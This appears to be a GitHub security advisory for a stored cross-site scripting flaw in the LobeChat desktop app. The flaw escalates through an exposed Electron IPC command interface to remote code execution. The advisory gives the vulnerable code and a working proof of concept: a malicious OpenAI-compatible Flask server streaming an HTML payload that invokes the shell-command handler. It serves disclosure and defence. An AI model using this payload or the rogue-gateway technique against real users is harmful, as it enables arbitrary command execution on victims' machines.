Skip to content

LobeHub has a Cross-Site Scripting issue that escalates to Remote Code Execution

Moderate severity GitHub Reviewed Published Apr 27, 2026 in lobehub/lobehub • Updated May 5, 2026

Package

npm @lobehub/lobehub (npm)

Affected versions

<= 2.1.26

Patched versions

None

Description

Summary

The vulnerability was automatically discovered by an ai agent and then manually verified.

LobeChat's message rendering mechanism has a stored cross-site scripting (XSS) vulnerability. Combined with the Electron main process's exposed insecure IPC interface, attackers can construct malicious payloads to achieve an attack chain from XSS to remote code execution (RCE).

The LobeChat team verified this vulnerability in lobehub v2.1.23, and it also exists in the latest version.

Details

When LobeChat processes custom tags in the Render process of src/features/Portal/Artifacts/Body/Renderer/index.tsx, if no type match is found, it will choose to call the default method, HTMLRenderer, for HTML rendering.

const Renderer = memo<{ content: string; type?: string }>(({ content, type }) => {
  switch (type) {
    case 'application/lobe.artifacts.react': {
      return <ReactRenderer code={content} />;
    }

    case 'image/svg+xml': {
      return <SVGRender content={content} />;
    }

    case 'application/lobe.artifacts.mermaid': {
      return <Mermaid variant={'borderless'}>{content}</Mermaid>;
    }

    case 'text/markdown': {
      return <Markdown style={{ overflow: 'auto' }}>{content}</Markdown>;
    }

    default: {
      return <HTMLRenderer htmlContent={content} />;
    }
  }
});

export default Renderer;

If an attacker can induce the LLM to output content containing malicious tags, an XSS vulnerability can be created on the client side.

Additionally, Lobechat's Electron main process exposes an IPC interface called runCommand, used to invoke system commands. This interface allows arbitrary command execution and does not filter the command parameter. Therefore, if an attacker can obtain a handle to window.parent.electronAPI via XSS and call the runCommand method of the IPC, the ipcMain process can execute arbitrary system commands with the current user's privileges.

  @IpcMethod()
  async handleRunCommand({
    command,
    description,
    run_in_background,
    timeout = 120_000,
  }: RunCommandParams): Promise<RunCommandResult> {
    ...
    const childProcess = spawn(shellConfig.cmd, shellConfig.args, {
            env: process.env,
            shell: false,
          });
    ...
  }

PoC

The attacker launched a malicious OpenAI gateway on port 5001

from flask import Flask, Response, request, jsonify
import time
import json

app = Flask(__name__)
fake_api_key = "sk-test"

@app.route('/v1/chat/completions', methods=['POST', 'OPTIONS'])
def chat_completions():
    if request.method == 'OPTIONS':
        return Response(status=200, headers={
            'Access-Control-Allow-Origin': '*',
            'Access-Control-Allow-Headers': '*'
        })

    # Check for API Key
    auth_header = request.headers.get('Authorization')
    print(auth_header)
    if not auth_header or auth_header != f'Bearer {fake_api_key}':
        return jsonify({"error": {"message": "Invalid API Key", "type": "invalid_request_error", "code": "invalid_api_key"}}), 401

    def generate(): 
        payload = """
<lobeArtifact type="nebula">
<img src=x onerror='window.parent.electronAPI.invoke("shellCommand.handleRunCommand", {command:"open -a Calculator"})'>
</lobeArtifact>
"""
        # Split payload into chunks to simulate streaming
        chunks = [payload[i:i+10] for i in range(0, len(payload), 10)]
        
        for chunk in chunks:
            data = {
                "id": "chatcmpl-hpdoger-123", 
                "object": "chat.completion.chunk", 
                "created": int(time.time()), 
                "model": "gpt-3.5-turbo", 
                "choices": [{
                    "index": 0, 
                    "delta": {"content": chunk},
                    "finish_reason": None
                }]
            }
            yield f"data: {json.dumps(data)}\n\n"
            time.sleep(0.1)
        
        # End of stream
        final_data = {
            "id": "chatcmpl-hpdoger-123", 
            "object": "chat.completion.chunk", 
            "created": int(time.time()), 
            "model": "gpt-3.5-turbo", 
            "choices": [{
                "index": 0, 
                "delta": {},
                "finish_reason": "stop"
            }]
        }
        yield f"data: {json.dumps(final_data)}\n\n"
        yield "data: [DONE]\n\n"

    return Response(generate(), mimetype='text/event-stream', headers={
        'Access-Control-Allow-Origin': '*', 
        'Access-Control-Allow-Headers': '*'
    })

@app.route('/v1/models', methods=['GET'])
def models():
    return jsonify({
        "object": "list", 
        "data": [{
            "id": "gpt-3.5-turbo", 
            "object": "model", 
            "created": 1677610602, 
            "owned_by": "openai"
        }]
    })

if __name__ == '__main__':
    print("Evil OpenAI-compatible server running on http://127.0.0.1:5001")
    app.run(port=5001, debug=True)

The victim opens the LobeChat application and configures an LLM Provider, entering the address of the HTTP server provided by the attacker.

image

The victim was exposed to an arbitrary command execution vulnerability while chatting

image

reproduction

For attack reproduction, refer to this video. Once the victim configures the attacker's LLM provider endpoint, arbitrary commands can be executed. Here, our demonstration opens a calculator in the victim's environment.

https://github.com/user-attachments/assets/6383e996-9148-4e88-8e25-90260104368d

Impact

Affected LobeChat clients can connect to the attacker's LLM endpoint and trigger arbitrary command execution simply by sending normal conversation messages.

Patch

A patch is available at https://github.com/lobehub/lobehub/releases/tag/v2.1.48.

References

@arvinxx arvinxx published to lobehub/lobehub Apr 27, 2026
Published to the GitHub Advisory Database May 5, 2026
Reviewed May 5, 2026
Last updated May 5, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:H/UI:R/S:C/C:H/I:L/A:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

CVE ID

CVE-2026-42045

GHSA ID

GHSA-xq4x-622m-q8fq

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.